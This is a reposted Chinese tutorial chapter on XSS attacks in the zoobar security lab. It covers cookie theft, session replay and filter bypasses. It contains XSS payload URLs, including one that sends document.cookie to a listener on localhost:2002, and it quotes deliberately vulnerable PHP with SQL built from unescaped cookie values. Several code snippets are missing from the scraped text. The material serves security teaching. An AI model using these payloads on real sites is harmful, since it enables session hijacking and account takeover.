Web信息安全实践_4.0 XSS_知乎1
2021-04-24 05:28
标签:存在 ack his info 判断 use 链接 看到了 ber XSS攻击即为(Cross Site Scripting), 中文为跨站脚本。 之所以它的名字不是CSS而是XSS,是为了区分CSS。 XSS攻击是发生在目标用户的浏览器上的,当渲染DOM树的过程中执行了不该执行的JS代码时,就发生了XSS攻击。跨站脚本的重点不是“跨站”,而是“脚本” 我们首先来看一下,页面执行不该执行的JS是什么意思。譬如我们来看这个代码: 大家想一想,这个URL点开一下,效果是什么? 再换一个URL呢? 因此,所谓执行不该执行的JS代码的意思就是:用户通过各种方法向网站中注入了一些JS代码,而网站没有对用户的JS代码做任何检查,就直接把它有显示在了网站的页面上。因此,导致了用户注入的JS代码的运行。 当时我们在讲JS的时候,提到过JS可以通过document.cookie访问当前网站的cookie。当然,这样的代码只能把用户的cookie弹出来,没什么用。我们首先再次看看cookie的作用,然后考虑下,怎么样利用XSS漏洞来偷cookie。 在zoobar这个网站中,相应的数据库表中有Token和Salt这两项。我们通过查看源代码,来理解一下这两项有什么作用。先看一下数据库。 在auth.php代码中,看一下这些项是如何生成的。 在addRegistration代码中,有这么两行: 接下来看看token。在setCookie函数中,设置了token。 每次登录的时候,会调用_setCookie函数,而每次登录token都会更新。token在生成cookie的使用: 所以就是用户每次登录,生成的cookie值都会不同。以下是两次登录的查询结果。 另外,设置了cookie有什么用呢?在_checkRemembered函数中有这样的代码: 当服务器接收到浏览器交过来的cookie的时候,先分出来username和token,然后查数据库。如果查到了,就记录下来这是哪个用户。 来给大家演示一下,cookie到底有多有用。首先,我们从虚拟机中的网站中拷贝出来一份cookie。然后在外部host的浏览器中用一用。这个得安装一个浏览器插件,可以用来编辑cookie的。 我们从来没有在外部Host的浏览器中登录过zoobar网站。刚访问的时候,是登录页面。然后我们不输入任何的用户名和密码,只是设置一个cookie。然后直接在登录页面上点击刷新。 直接就登录进去了。所以大家可以体会到,只要有cookie,用户名和密码不知道也无所谓。所谓的界面是用来让正常的用户用。 之前CSRF攻击,可以看到,有了浏览器帮我们提交cookie,可以很容易完成攻击;在CSRF攻击被防御的情况下,攻击者可以直接针对cookie进行攻击,有了cookie,直接进行登录。 刚才我们已经看到了使用alert(document.cookie)可以弹出来用户的cookie。但是只弹出没有什么用处,需要做的是将用户的cookie拿走。只要JS能访问cookie,并且网站中存在着XSS漏洞,那么就可以将cookie发送给攻击者。 在之前介绍CSS历史攻击的时候,我们用过一个echoserv的程序,可以用来显示请求的内容。这里,仍然可以使用这个程序。在URL栏中输入: 我们在终端就能够收到相应的消息: 那现在思路就很明确了,只要能够构造出攻击代码,把document.cookie发给监听端口就行。要发送,首先想到的可能就是。譬如我们构造出这样的代码: 可以分析一下,这个代码为啥不能成功。 但是这个不是问题,花点功夫就构造出来能发送cookie的代码。 使用这个代码,我们可以在echoserv处收到cookie: 综上,首先,需要找到一个XSS漏洞;在这个例子中,xss.php就是漏洞。因为它接收了用户的输入,然后直接就把用户的输入写在了页面上,而用户的输入中可能有 另外就是要仔细构造攻击代码。 偷cookie的另一个比较经典的例子是使用标签。因为标签可以直接自动地去向目标URL发出请求,相比,还不需要用户点击链接,攻击起来更加方便。这个代码留给大家自己写一写。 以上的XSS攻击直接写在URL中,也叫作反射型XSS。 那接下来,我们要想一想,zoobar这个网站有没有什么地方可以发起XSS攻击? 用户可以操作的地方,主要的就是index.php页面中的profile。在这个页面中,可以输入很多内容。当其他用户查看用户的profile时,从数据库取出来用户的输入,然后显示在页面上。那我们输入攻击代码可以吗? 首先要说明,这个网站最近的防御还是有的。在users.php中,已经过滤了很多不少的危险标签。为了演示说明,我们首先把这些防御给关掉。 在关掉防御的条件下,把刚才构造出来的攻击代码直接拷贝到profile中,就可以形成一样的攻击效果。 譬如在Profile页面写上这样的代码,也可以把cookie发送出去;当然,steal.php要另外准备好,接收这个cookie。 然后,我们加上一点防御。不能直接使用。这个也是很容易做到的,PHP中有一个函数strip_tag,可以把一些标签给过滤了。 但是这点防御远远不够。在讲JS的时候我们讲过多种可以触发JS执行的方法。譬如:onmouseover等动作属性。试一下下面的代码。 基本来说,判断是否有XSS漏洞,就看能不能弹出来框就行了。所以,这些属性也得过滤掉。 然后,只要发现了XSS漏洞,就可以发动攻击了。 另外就是,zoobar网站上专门留了一个XSS漏洞,可以好好看看源代码找一找。 现在做演示,我们可以把 Web信息安全实践_4.0 XSS_知乎1 标签:存在 ack his info 判断 use 链接 看到了 ber 原文地址:https://www.cnblogs.com/tianjiazhen/p/12235856.html页面执行不该执行的JS
// 假设有一个自动回答网站:在框内输入一个问题,这个问题是通过$_GET[‘q‘]获取的;网站后台接收用户输入,把用户输入展示在页面上。
Hello, your question is: ‘q‘]; ?>
// 接下来攻击者可以设计这么一个URL
localhost/xss.php?q=
http://localhost/xss.php?q=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Cookie窃取
myzoo auth.php salt项
$salt = substr(md5(rand()), 0, 4);
$hashedpassword = md5($password.$salt);
myzoo auth.php token项
$token = md5($values["Password"].mt_rand());
$arr = array($this->username, $token);
$cookieData = base64_encode(serialize($arr));
设置cookie的作用
$arr = unserialize(base64_decode($cookie));
list($username, $token) = $arr;
if(!$username or !$token) { return; }
$sql = "SELECT * FROM Person WHERE (Username = ‘$username‘) AND (Token = ‘$token‘)";
偷取cookie
localhost/xss.php?q=‘http://localhost:2002?a=;‘>hello;hi
localhost/xss.php?q=hi
XSS攻击及防御
文章标题:Web信息安全实践_4.0 XSS_知乎1
文章链接:http://soscw.com/index.php/essay/78807.html